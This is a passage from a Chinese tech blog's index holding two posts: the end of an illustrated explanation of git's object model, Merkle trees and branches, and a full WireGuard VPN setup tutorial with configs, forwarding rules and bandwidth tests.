5dd3aae645813dc53834ebfa8d19608c4b3905 ├── 6e │ └── e873d9c7ca19c7fe609c9e1a963df8d000282b ├── 6f │ └── 7f08b14168beb114c3cc099b8dc1c09ccd4739 ├── cc │ └── 9903a33cb99ae02a9cb648bcf4a71815be3474 ├── info └── pack 12 directories, 10 files object已经多到不便逐一分析了。但我们把握住一点：commit是分析关系的入口。我们通过commit的输出或commit log(git log)可知，新增的commit对象的hash值为6f7f08b141。我们还是以它为入口分析新增object的关系以及它们与之前已存在的object的关系：\n图：commit、tree、blob对象之间的关系1\n从上图我们看到：\ngit新创建tree对象对应我们新建的pkg目录以及其子目录；\ncmd目录下的子目录和文件内容并未改变，因此这次commit所对应的root tree对象(293ae375dc)直接使用了已存在的cmd目录对应的对象(3d2045367e);\n新commit对象会将第一个commit对象作为parent，这样多个commit对象之间构成一个单向链表。\n上面的两个提交都是新增内容，我们再来提交一个commit，这次我们对已有文件内容做变更：\n将cmd/demo/main.go文件内容变更为如下内容： // cmd/demo/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/bigwhite/foo\u0026quot; ) func main() { fmt.Println(\u0026quot;hello, git\u0026quot;) foo.Foo() } 提交变更： $git commit -m\u0026quot;call foo.Foo in main\u0026quot; . [master 2f14635] call foo.Foo in main 1 file changed, 6 insertions(+), 1 deletion(-) 和上面的分析方法一样，我们通过最新commit对应的hash值2f146359b4对新对象和现存对象的关系进行分析：\n图：commit、tree、blob对象之间的关系2\n如上图，第三次变更提交后，我们看到：\n由于main.go文件变更，git重建了main.go blob对象、demo、cmd tree对象\n由于pkg目录、其子目录布局、子目录下文件内容没有改变，于是新commit对象对应的root tree对象直接“复用”了上一次commit的pkg tree对象。\n新commit对象加入commit对象单向链表，并将上一次的commit对象作为parent。\n我们看到沿着最新的commit对象(2f146359b4)，我们能获取当前仓库的最新结构布局以及各个blob对象的最新内容，即最新的一个快照！\n五. object是不可变的，默克尔树(Merkle Tree)判断变化 从上面的三次变更，我们看到无论哪种对象object，一旦放入到objects这个“筐”就是不可变的(immutable)。即便是第三次commit对main.go进行了修改，git也只是根据main.go的最新内容创建一个新的blob对象，而不是修改或替换掉第一版main.go对应的blob对象。\n对应目录的tree object亦是如此。如果某目录下的二级目录发生变化或目录下的文件内容发生改变，git会新生成一个对应该目录的tree对象，而不是去修改原先已存在的tree对象。\n实际上，git tree对象的组织本身就是一棵默克尔树(Merkle Tree)。\n默克尔树是一类基于哈希值的二叉树或多叉树，其叶子节点上的值通常为数据块的哈希值，而非叶子节点上的值，是将该节点的所有孩子节点的组合结果的哈希值。默克尔树的特点是，底层数据的任何变动，都会传递到其父亲节点，一直到树根。\n图：默克尔树(图片来自网络)\n以上图为例：我们自下向上看，D0、D1、D2和D3是叶子节点包含的数据。N0、N1、N2和N3是叶子节点，它们是将数据（也就是D0、D1、D2和D3）进行hash运算后得到的hash值；继续往上看，N4和N5是中间节点，N4是N0和N1经过hash运算得到的哈希值，N5是N2和N3经过hash运算得到的哈希值。（注意，hash值计算方法：把相邻的两个叶子结点合并成一个字符串，然后运算这个字符串的哈希）。最后，Root节点是N4和N5经过hash运算后得到的哈希值，这就是这颗默克尔树的根哈希。当N0包含的数据发生变化时，根据默克尔树的节点hash值形成机制，我们可以快速判断出：N0、N4和root节点会发生变化。\n对应git来说，叶子节点对应的就是每个文件的hash值，tree对象对应的是中间节点。因此，通过默克尔树(Merkle Tree)的特性，我们可以快速判断哪些对象对应的目录或文件发生了变化，应该重新创建对应的object。我们还以上面的第三次commit为例：\n图：通过默克尔树(Merkle Tree)的特性判断哪些对象发生变化需要重新创建\n如上图所示，第三次commit是因为cmd/demo/main.go内容发生了变化，根据merkle tree特性，我们可以快速判断红色的object会随之发生变化。于是git会自底向上逐一创建这些新对象：main.go文件对应的blob对象以及demo、cmd以及根节点对应的tree对象。\n六. branch和tag之所以轻量，因为它们都是“指针” 使用subversion时，创建branch或打tag使用的是svn copy命令。svn copy执行的就是真实的文件拷贝，相当于将trunk下的目录和文件copy一份放到branch或tag下面，建立一个trunk的副本，这样的操作绝对是“超重量级”的。如果svn仓库中的文件数量庞大且size很大，那么svn copy执行起来不仅速度慢，而且还会在svn server上占用较大的磁盘存储空间，因此使用svn时，打tag和创建branch是要“谨慎”的。\n而git的branch和tag则极为轻量，我们来给上面例子中的仓库创建一个dev分支：\n$git branch dev 我们看看.git下有啥变化：\n. └── refs ├── heads │ ├── dev │ └── master └── tags 我们看到.git/refs/heads下面多出了一个dev文件，我们查看一下该文件的内容：\n$cat refs/heads/dev 2f146359b475909f2fdcdef046af3431c8077282 $git log --oneline 2f14635 (HEAD -\u0026gt; master, dev) call foo.Foo in main 6f7f08b add package foo 3062e0e first commit 对比发现，dev文件中的内容恰是最新的commit对象：2f146359b475909f2fdcdef046af3431c8077282。\n我们再来给repo打一个tag：\n$git tag v0.0.1 同样，我们来查看一下.git目录下的变化：\n└── refs ├── heads │ ├── dev │ └── master └── tags └── v0.0.1 我们看到在refs/tags下面增加一个名为v0.0.1的文件，查看其内容：\n$cat refs/tags/v0.0.1 2f146359b475909f2fdcdef046af3431c8077282 和dev分支文件一样，它的内容也是最新的commit对象：2f146359b475909f2fdcdef046af3431c8077282。\n可见，使用git创建分支或tag仅仅是创建了一个指向某个commit对象的**“指针”**，这与subversion的副本操作相比，简直不能再轻量了。\n前面说过，一个commit对象都是一个git仓库的快照，切换到(git checkout xxx)某个branch或tag，就是将本地工作拷贝切换到commit对象所代表的仓库快照的状态。当然也会将commit对象组成的单向链表的head指向该commit对象，这个head即.git/HEAD文件的内容。\n七. 小结 到这里，git原理的几个关键概念就交代完了，再回顾一下：\n和subversion这样的集中式版本管理工具最大的不同就是每个程序员节点都是git仓库，拥有全部开发、协作所需的全部信息，完全可以脱离“中心节点”；\n如果说git聚焦于数据平面的功能，那么github则是一个基于git网络协作的控制平面的实现；\nobjects是个筐，什么都往里面装。git仓库的核心数据都存在.git/objects下面，主要类型包括：blob、tree和commit；\n每个commit都是一个git仓库的快照，记住commit对象是分析对象关系的入口;\ngit是基于数据内容的hash值做等值判定的，object是不可变的，默克尔树(Merkle Tree)用来快速判断变化。\nbranch和tag因为是“指针”，因此创建、销毁和切换都非常轻量。\n八. 参考资料 Pro Git v2 – https://git-scm.com/book/en/v2\ngit介绍 – https://www.cnblogs.com/kisun168/p/11408346.html\ngit内部原理 – https://zhuanlan.zhihu.com/p/53750883\ngit仓库内部结构 – https://www.jianshu.com/p/72f9f8c9c47e\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/04/07/illustrated-tale-of-git-internal-key-concepts/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/illustrated-tale-of-git-internal-key-concepts/illustrated-tale-of-git-internal-key-concepts-0.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://git-scm.com/\"\u003egit\u003c/a\u003e是那个“爱骂人”的\u003ca href=\"https://www.kernel.org/\"\u003eLinux\u003c/a\u003e之父\u003ca href=\"https://github.com/torvalds\"\u003eLinus Torvalds\u003c/a\u003e继Linux内核后奉献给全世界程序员的第二个礼物（不能确定已经逐渐老去的Torvalds能否迸发第三春，第三次给我们一个超大惊喜^_^）。这里再强调一下，git读作**/git/\u003cstrong\u003e，而不是\u003c/strong\u003e/dʒit/**。\u003c/p\u003e","title":"图解git原理的几个关键概念"},{"content":"2020年1月28日，Linux之父Linus Torvalds正式将WireGuard merge到Linux 5.6版本内核主线：\n图：WireGuard被加入linux kernel 5.6主线的commit log\n这意味着在Linux 5.6内核发布时，linux在内核层面将原生支持一个新的VPN协议栈：WireGuard。\n图：WireGuard Logo\n一. VPN与WireGuard的创新 VPN，全称Virtual Private Network（虚拟专用网络）。提起VPN，大陆的朋友想到的第一件事就是fan qiang。其实fan qiang只是VPN的一个“小众”应用罢了^_^，企业网络才是VPN真正施展才能的地方。VPN支持在不安全的公网上建立一条加密的、安全的到企业内部网络的通道（隧道tunnel），这就好比专门架设了一个专用网络那样。在WireGuard出现之前，VPN的隧道协议主要有PPTP、L2TP和IPSec等，其中PPTP和L2TP协议工作在OSI模型的第二层，又称为二层隧道协议；IPSec是第三层隧道协议。\n既然已经有了这么多的VPN协议，那么Why WireGuard？\nWireGuard的作者Jason A. Donenfeld在WireGuard官网给出了很明确地理由：\n简单、易用、无连接、无状态：号称目前最易用和最简单的VPN解决方案 WireGuard可以像SSH一样易于配置和部署。只需交换非常简单的公钥就可以建立VPN连接，就像交换SSH密钥一样，其余所有由WireGuard透明处理。并且WireGuard建立的VPN连接是基于UDP的，无需建立和管理连接，无需关心和管理状态的。\n先进加密协议 WireGuard充分利用安全领域和密码学在这些年的最新成果，使用noise framework，Curve25519，ChaCha20，Poly1305，BLAKE2，SipHash24等构建WireGuard的安全方案。\n最小的攻击面(最少代码实现) WireGuard的内核模块c代码仅不足5k行，便于代码安全评审。也使得WireGuard的实现更不容易被攻击（代码量少，理论上漏洞相对于庞大的代码集合而言也会少许多）。\n高性能 密码学最新成果带来的高速机密原语和WireGuard的内核驻留机制，使其相较于之前的VPN方案更具性能优势。\n以上这些理由，同时也是WireGuard这个协议栈的特性。\n这么说依然很抽象，我们来实操一下，体验一下WireGuard的简洁、易用、安全、高效。\n二. WireGuard安装和使用 WireGuard将在linux 5.6内核中提供原生支持，也就是说在那之前，我们还无法直接使用WireGuard，安装还是不可避免的。在我的实验环境中有两台Linux VPS主机，都是ubuntu 18.04，内核都是4.15.0。因此我们需要首先添加WireGuard的ppa仓库：\nsudo add-apt-repository ppa:wireguard/wireguard 更新源后，即可通过下面命令安装WireGuard：\nsudo apt-get update sudo apt-get install wireguard 安装的WireGuard分为两部分：\nWireGuard内核模块(wireguard.ko)，这部分通过动态内核模块技术DKMS安装到ubuntu的内核模块文件目录下：\n$ ls /lib/modules/4.15.0-29-generic/updates/dkms/ wireguard.ko\n用户层的命令行工具\n类似于内核netfilter和命令行工具iptables之间关系，wireguard.ko对应的用户层命令行工具wireguard-tools：wg、wg-quick被安装到/usr/bin下面了：\n$ ls -t /usr/bin|grep wg|head -n 2 wg wg-quick 1. peer to peer vpn 在两个linux Vps上都安装完WireGuard后，我们就可以在两个节点(peer)建立虚拟专用网络(VPN)了。我们分为称两个linux节点为peer1和peer2：\n图：点对点wireguard通信图\n就像上图那样，我们只分别需要在peer1和peer2建立/etc/wireguard/wg0.conf。\npeer1的/etc/wireguard/wg0.conf：\n[Interface] PrivateKey = {peer1's privatekey} Address = 10.0.0.1 ListenPort = 51820 [Peer] PublicKey = {peer2's publickey} EndPoint = {peer2's ip}:51820 AllowedIPs = 10.0.0.2/32 peer2的/etc/wireguard/wg0.conf：\n[Interface] PrivateKey = {peer2's privatekey} Address = 10.0.0.2 ListenPort = 51820 [Peer] PublicKey = {peer1's publickey} EndPoint = {peer1's ip}:51820 AllowedIPs = 10.0.0.1/32 我们看到每个peer上WireGuard所需的配置文件wg0.conf包含两大部分：\n[Interface]部分\nPrivateKey – peer自身的privatekey\nAddress – peer的wg0接口在vpn网络中绑定的路由ip范围，在上述例子中仅绑定了一个ip地址\nListenPort – wg网络协议栈监听UDP端口\n[Peer]部分（描述vpn网中其他peer信息，一个wg0配置文件中显然可以配置多个Peer部分）\nPublicKey – 该peer的publickey\nEndPoint – 该peer的wg网路协议栈地址(ip+port)\nAllowedIPs – 允许该peer发送过来的wireguard载荷中的源地址范围。同时本机而言，这个字段也会作为本机路由表中wg0绑定的ip范围。\n每个Peer自身的privatekey和publickey可以通过WireGuard提供的命令行工具生成：\n$ wg genkey | tee privatekey | wg pubkey \u0026gt; publickey $ ls privatekey publickey 注：这两个文件可以生成在任意路径下，我们要的是两个文件中内容。\n在两个peer上配置完/etc/wireguard/wg0.conf配置文件后，我们就可以使用下面命令在peer1和peer2之间建立一条双向加密VPN隧道了：\npeer1: $ sudo wg-quick up wg0 [#] ip link add wg0 type wireguard [#] wg setconf wg0 /dev/fd/63 [#] ip -4 address add 10.0.0.1 dev wg0 [#] ip link set mtu 1420 up dev wg0 [#] ip -4 route add 10.0.0.2/32 dev wg0 peer2: $ sudo wg-quick up wg0 [#] ip link add wg0 type wireguard [#] wg setconf wg0 /dev/fd/63 [#] ip -4 address add 10.0.0.2 dev wg0 [#] ip link set mtu 1420 up dev wg0 [#] ip -4 route add 10.0.0.1/32 dev wg0 执行上述命令，每个peer会增加一个network interface dev: wg0，并在系统路由表中增加一条路由，以peer1为例：\n$ ip a ... ... 4: wg0: \u0026lt;POINTOPOINT,NOARP,UP,LOWER_UP\u0026gt; mtu 1420 qdisc noqueue state UNKNOWN group default qlen 1000 link/none inet 10.0.0.1/32 scope global wg0 valid_lft forever preferred_lft forever $ ip route default via 172.21.0.1 dev eth0 proto dhcp metric 100 10.0.0.2 dev wg0 scope link ... ... 现在我们来测试两个Peer之间的连通性。WireGuard的peer之间是对等的，谁发起的请求谁就是client端。我们在peer1上ping peer2，在peer2上我们用tcpdump抓wg0设备的包：\nPeer1: $ ping -c 3 10.0.0.2 PING 10.0.0.2 (10.0.0.2) 56(84) bytes of data. 64 bytes from 10.0.0.2: icmp_seq=1 ttl=64 time=34.9 ms 64 bytes from 10.0.0.2: icmp_seq=2 ttl=64 time=34.7 ms 64 bytes from 10.0.0.2: icmp_seq=3 ttl=64 time=34.6 ms --- 10.0.0.2 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 34.621/34.781/34.982/0.262 ms Peer2: # tcpdump -i wg0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on wg0, link-type RAW (Raw IP), capture size 262144 bytes 13:29:52.659550 IP 10.0.0.1 \u0026gt; instance-cspzrq3u: ICMP echo request, id 20580, seq 1, length 64 13:29:52.659603 IP instance-cspzrq3u \u0026gt; 10.0.0.1: ICMP echo reply, id 20580, seq 1, length 64 13:29:53.660463 IP 10.0.0.1 \u0026gt; instance-cspzrq3u: ICMP echo request, id 20580, seq 2, length 64 13:29:53.660495 IP instance-cspzrq3u \u0026gt; 10.0.0.1: ICMP echo reply, id 20580, seq 2, length 64 13:29:54.662201 IP 10.0.0.1 \u0026gt; instance-cspzrq3u: ICMP echo request, id 20580, seq 3, length 64 13:29:54.662234 IP instance-cspzrq3u \u0026gt; 10.0.0.1: ICMP echo reply, id 20580, seq 3, length 64 我们看到peer1和peer2经由WireGuard建立的vpn实现了连通：在peer2上ping peer1(10.0.0.1)亦得到相同结果。\n这时如果我们如果在peer2(vpn ip: 10.0.0.2)上启动一个http server(监听0.0.0.0:9090):\n//httpserver.go package main import \u0026quot;net/http\u0026quot; func index(w http.ResponseWriter, r *http.Request) { w.Write([]byte(\u0026quot;hello, wireguard\\n\u0026quot;)) } func main() { http.Handle(\u0026quot;/\u0026quot;, http.HandlerFunc(index)) http.ListenAndServe(\u0026quot;:9090\u0026quot;, nil) } 那么我们在peer1(vpn ip:10.0.0.1)去访问这个server：\n$ curl http://10.0.0.2:9090 hello, wireguard 在peer2(instance-cspzrq3u)上的tcpdump显示(tcp握手+数据通信+tcp拆除)：\n14:15:05.233794 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [S], seq 1116349511, win 27600, options [mss 1380,sackOK,TS val 3539789774 ecr 0,nop,wscale 7], length 0 14:15:05.233854 IP instance-cspzrq3u.9090 \u0026gt; 10.0.0.1.43922: Flags [S.], seq 3504538202, ack 1116349512, win 27360, options [mss 1380,sackOK,TS val 2842719516 ecr 3539789774,nop,wscale 7], length 0 14:15:05.268792 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [.], ack 1, win 216, options [nop,nop,TS val 3539789809 ecr 2842719516], length 0 14:15:05.268882 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [P.], seq 1:78, ack 1, win 216, options [nop,nop,TS val 3539789809 ecr 2842719516], length 77 14:15:05.268907 IP instance-cspzrq3u.9090 \u0026gt; 10.0.0.1.43922: Flags [.], ack 78, win 214, options [nop,nop,TS val 2842719551 ecr 3539789809], length 0 14:15:05.269514 IP instance-cspzrq3u.9090 \u0026gt; 10.0.0.1.43922: Flags [P.], seq 1:134, ack 78, win 214, options [nop,nop,TS val 2842719552 ecr 3539789809], length 133 14:15:05.304147 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [.], ack 134, win 224, options [nop,nop,TS val 3539789845 ecr 2842719552], length 0 14:15:05.304194 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [F.], seq 78, ack 134, win 224, options [nop,nop,TS val 3539789845 ecr 2842719552], length 0 14:15:05.304317 IP instance-cspzrq3u.9090 \u0026gt; 10.0.0.1.43922: Flags [F.], seq 134, ack 79, win 214, options [nop,nop,TS val 2842719586 ecr 3539789845], length 0 14:15:05.339035 IP 10.0.0.1.43922 \u0026gt; instance-cspzrq3u.9090: Flags [.], ack 135, win 224, options [nop,nop,TS val 3539789880 ecr 2842719586], length 0 如果要拆除这个vpn，只需在每个peer上分别执行如下命令：\n$ sudo wg-quick down wg0 [#] ip link delete dev wg0 2. peer to the local network of other peer 上面两个peer虽然实现了点对点的连通，但是如果我们想从peer1访问peer2所在的局域网中的另外一台机器（这显然是vpn最常用的应用场景），如下面示意图：\n图：从一个peer到另外一个peer所在局域网的节点的通信图\n基于目前的配置是否能实现呢？我们来试试。首先我们在peer1上要将192.168.1.0/24网段的路由指到wg0上，这样我们在peer1上ping或curl 192.168.1.123:9090，数据才能被交给wg0处理并通过vpn网络送出，修改peer1上的wg0.conf：\n// peer1's /etc/wireguard/wg0.conf ... ... [Peer] PublicKey = {peer2's publickey} EndPoint = peer2's ip:51820 AllowedIPs = 10.0.0.2/32,192.168.1.0/24 重启peer1上的wg0使上述配置生效。然后我们尝试在peer1上ping 192.168.1.123：\n$ ping -c 3 192.168.1.123 PING 192.168.1.123 (192.168.1.123) 56(84) bytes of data. --- 192.168.1.123 ping statistics --- 3 packets transmitted, 0 received, 100% packet loss, time 2038ms 我们在peer2上的tcpdump显示：\n# tcpdump -i wg0 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on wg0, link-type RAW (Raw IP), capture size 262144 bytes 14:33:38.393520 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 30426, seq 1, length 64 14:33:39.408083 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 30426, seq 2, length 64 14:33:40.432079 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 30426, seq 3, length 64 我们看到peer2收到来自10.0.0.1的到192.168.1.123的ping包都没有对应的回包，通信失败。Why？我们分析一下。\npeer2在51820端口收到WireGuard包后，去除wireguard包的包裹，露出真实数据包。真实数据包的目的ip地址为192.168.1.123，该地址并非peer2自身地址(其自身局域网地址为192.168.1.10)。既然不是自身地址，就不能送到上层协议栈(tcp)处理，那么另外一条路是forward(转发)出去。但是是否允许转发么？显然从结果来看，从wg0收到的消息无权转发，于是消息丢弃，这就是没有回包和通信失败的原因。\n为了支持转发（这是vpn常用场景的功能哦），我们需要为peer2的wg0.conf增加些转发配置：\n// peer2's wg0.conf [Interface] ... ... PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -A FORWARD -o %i -j ACCEPT; iptables -t nat -A POSTROUT ING -o eth0 -j MASQUERADE PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -D FORWARD -o %i -j ACCEPT; iptables -t nat -D POSTROUT ING -o eth0 -j MASQUERADE ... ... 重启peer2的wg0。在peer2的内核层我们也要开启转发开关：\n// /etc/sysctl.conf net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 执行下面命令临时生效：\n# sysctl -p net.ipv4.ip_forward = 1 net.ipv6.conf.all.forwarding = 1 接下来，我们再来测试一下连通性。我们在peer1上再次尝试ping 192.168.1.123：\n$ ping -c 3 192.168.1.123 PING 192.168.1.123 (192.168.1.123) 56(84) bytes of data. 64 bytes from 192.168.1.123: icmp_seq=1 ttl=46 time=200 ms 64 bytes from 192.168.1.123: icmp_seq=2 ttl=46 time=200 ms 64 bytes from 192.168.1.123: icmp_seq=3 ttl=46 time=200 ms --- 192.168.1.123 ping statistics --- 3 packets transmitted, 3 received, 0% packet loss, time 2002ms rtt min/avg/max/mdev = 200.095/200.239/200.396/0.531 ms 这回通了！peer2上的Tcpdump输出中也看到了回包：\n14:49:58.808467 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 402, seq 1, length 64 14:49:58.974035 IP 192.168.1.123 \u0026gt; 10.0.0.1: ICMP echo reply, id 402, seq 1, length 64 14:49:59.809747 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 402, seq 2, length 64 14:49:59.975240 IP 192.168.1.123 \u0026gt; 10.0.0.1: ICMP echo reply, id 402, seq 2, length 64 14:50:00.810802 IP 10.0.0.1 \u0026gt; 192.168.1.123: ICMP echo request, id 402, seq 3, length 64 14:50:00.976202 IP 192.168.1.123 \u0026gt; 10.0.0.1: ICMP echo reply, id 402, seq 3, length 64 我们在192.168.1.123上运行上面的那个httpserver程序，再在peer1上用curl访问这个程序：\n$ curl 192.168.1.123:9090 hello, wireguard 我们看到httpserver的应答成功返回。peer2上的tcpdump也抓到了整个通信过程：\n14:50:36.437259 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [S], seq 3235649864, win 27600, options [mss 1380,sackOK,TS val 101915019 ecr 0,nop,wscale 7], length 0 14:50:36.593554 IP 192.168.1.123.9090 \u0026gt; 10.0.0.1.47918: Flags [S.], seq 2420552016, ack 3235649865, win 28960, options [mss 1460,sackOK,TS val 2323314775 ecr 101915019,nop,wscale 7], length 0 14:50:36.628315 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [.], ack 1, win 216, options [nop,nop,TS val 101915210 ecr 2323314775], length 0 14:50:36.628379 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [P.], seq 1:84, ack 1, win 216, options [nop,nop,TS val 101915210 ecr 2323314775], length 83 14:50:36.784550 IP 192.168.1.123.9090 \u0026gt; 10.0.0.1.47918: Flags [.], ack 84, win 227, options [nop,nop,TS val 2323314822 ecr 101915210], length 0 14:50:36.784710 IP 192.168.1.123.9090 \u0026gt; 10.0.0.1.47918: Flags [P.], seq 1:134, ack 84, win 227, options [nop,nop,TS val 2323314822 ecr 101915210], length 133 14:50:36.820339 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [.], ack 134, win 224, options [nop,nop,TS val 101915401 ecr 2323314822], length 0 14:50:36.820383 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [F.], seq 84, ack 134, win 224, options [nop,nop,TS val 101915401 ecr 2323314822], length 0 14:50:36.977226 IP 192.168.1.123.9090 \u0026gt; 10.0.0.1.47918: Flags [F.], seq 134, ack 85, win 227, options [nop,nop,TS val 2323314870 ecr 101915401], length 0 14:50:37.011927 IP 10.0.0.1.47918 \u0026gt; 192.168.1.123.9090: Flags [.], ack 135, win 224, options [nop,nop,TS val 101915594 ecr 2323314870], length 0 3. WireGuard的用户层实现 在linux上，我们务必使用WireGuard的内核模式，这显然是最高效的。在macOS、Windows上，WireGuard无法以内核模块驻留模式运行，但WireGuard项目提供了WireGuard的用户层实现。其作者Jason A. Donenfeld亲自实现了Go语言版本的wireguard-go。macOS上使用的就是wireguard的Go实现。我们可以使用brew在macOS上按照WireGuard：\n$brew install wireguard-tools 配置好/etc/wireguard/wg0.conf后(和linux上的配置方式一致)，同样可以通过wg-quick命令启动wireguard：\n$sudo wg-quick up wg0 wg-quick实际上会通过wireguard-go来实现linux wireguard在内核中完成的功能：\n$ps -ef|grep wireguard 0 57783 1 0 3:18下午 ttys002 0:00.01 wireguard-go utun 三. WireGuard性能如何 关于WireGuard性能如何，官方给出了一个性能基准测试的对比数据（相较于其他vpn网络栈）：\n图：WireGuard性能与其他vpn网络栈的对比（来自官方截图）\n我们看到和IPSec、OpenVPN相比，无论从吞吐还是延迟，WireGuard都领先不少。\n我们这里用microsoft开源的带宽测试工具ethr来直观看一下走物理网络和走WireGuard VPN的带宽差别。\n在peer2上运行：\n$ ethr -s 然后在peer1上分别通过物理网络和VPN网络向peer2发起请求：\npeer1 -\u0026gt; peer2 (物理网络)\n$ ethr -c peer2\u0026rsquo;s ip Connecting to host [peer2 ip], port 9999 [ 6] local 172.21.0.5 port 46108 connected to peer2 ip port 9999\n[ ID] Protocol Interval Bits/s [ 6] TCP 000-001 sec 1.54M [ 6] TCP 001-002 sec 1.54M [ 6] TCP 002-003 sec 1.54M [ 6] TCP 003-004 sec 1.54M [ 6] TCP 004-005 sec 1.54M\n\u0026hellip;. \u0026hellip;\npeer1 -\u0026gt; peer2 (vpn网络)\n$ ethr -c 10.0.0.2 Connecting to host [10.0.0.2], port 9999 [ 6] local 10.0.0.1 port 36010 connected to 10.0.0.2 port 9999\n[ ID] Protocol Interval Bits/s [ 6] TCP 000-001 sec 1.79M [ 6] TCP 001-002 sec 640K [ 6] TCP 002-003 sec 1.15M [ 6] TCP 003-004 sec 512K [ 6] TCP 004-005 sec 1.02M [ 6] TCP 005-006 sec 1.02M [ 6] TCP 006-007 sec 1.02M\n我们看到走vpn的带宽相当于走物理网络的66%(1.02/1.54)左右。这里peer1(腾讯云)、peer2(百度云)之间走的是互联网，而在局域网测试的效果可能更好（留给大家^_^）。\n四. 小结 经过上面的实验，我们看到了WireGuard的配置的确十分简单，这也是我目前使用过的配置过程最为简单的vpn。随着linux kernel 5.6内置对WireGuard的原生支持，WireGuard在vpn领域势必会有更为广泛的应用。\n在容器网络方面，目前WireGuard已经给出了跨容器的网络通信方案，基于wireguard的k8s cni网络插件wormhole可以让pod之间通过wireguard实现的overlay网络通信。\n国外的tailscale公司正在实现一种基于Wireguard的mesh vpn网络，该网络以WireGuard为数据平面的承载体，该公司主要实现控制平面。该公司目前聚集了一些Go核心开发人员，这里就包括著名的go核心开发团队成员、net/http包的最初作者和当前维护者的Brad Fitzpatrick。\n五. 参考资料 WireGuard，简约之美 – https://zhuanlan.zhihu.com/p/91383212 原理说明，墙裂推荐！\n虚拟专用网络 – https://baike.baidu.com/item/虚拟专用网络/8747869\nWireGuard官网资料 – https://www.wireguard.com/\n非官方WireGuard文档 – https://github.com/pirate/wireguard-docs\nHow to easily configure WireGuard – https://www.stavros.io/posts/how-to-configure-wireguard/\nWireGuard series – https://www.ericlight.com/wireguard-part-one-installation.html\nMacOS下WireGuard客户端的安装和配置\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/03/29/hello-wireguard/","summary":"\u003cp\u003e2020年1月28日，Linux之父\u003ca href=\"https://github.com/torvalds\"\u003eLinus Torvalds\u003c/a\u003e正式将\u003ca href=\"https://www.wireguard.com/\"\u003eWireGuard\u003c/a\u003e merge\u003ca href=\"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=bd2463ac7d7ec51d432f23bf0e893fb371a908cd\"\u003e到Linux 5.6版本内核主线\u003c/a\u003e：\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/hello-wireguard/hello-wireguard-add-to-linux-kernel-5.6-next.png\"\u003e\u003c/p\u003e\n\u003cp\u003e图：WireGuard被加入linux kernel 5.6主线的commit log\u003c/p\u003e","title":"Hello，WireGuard"},{"content":"本文翻译自《Illustrated Tales of Go Runtime 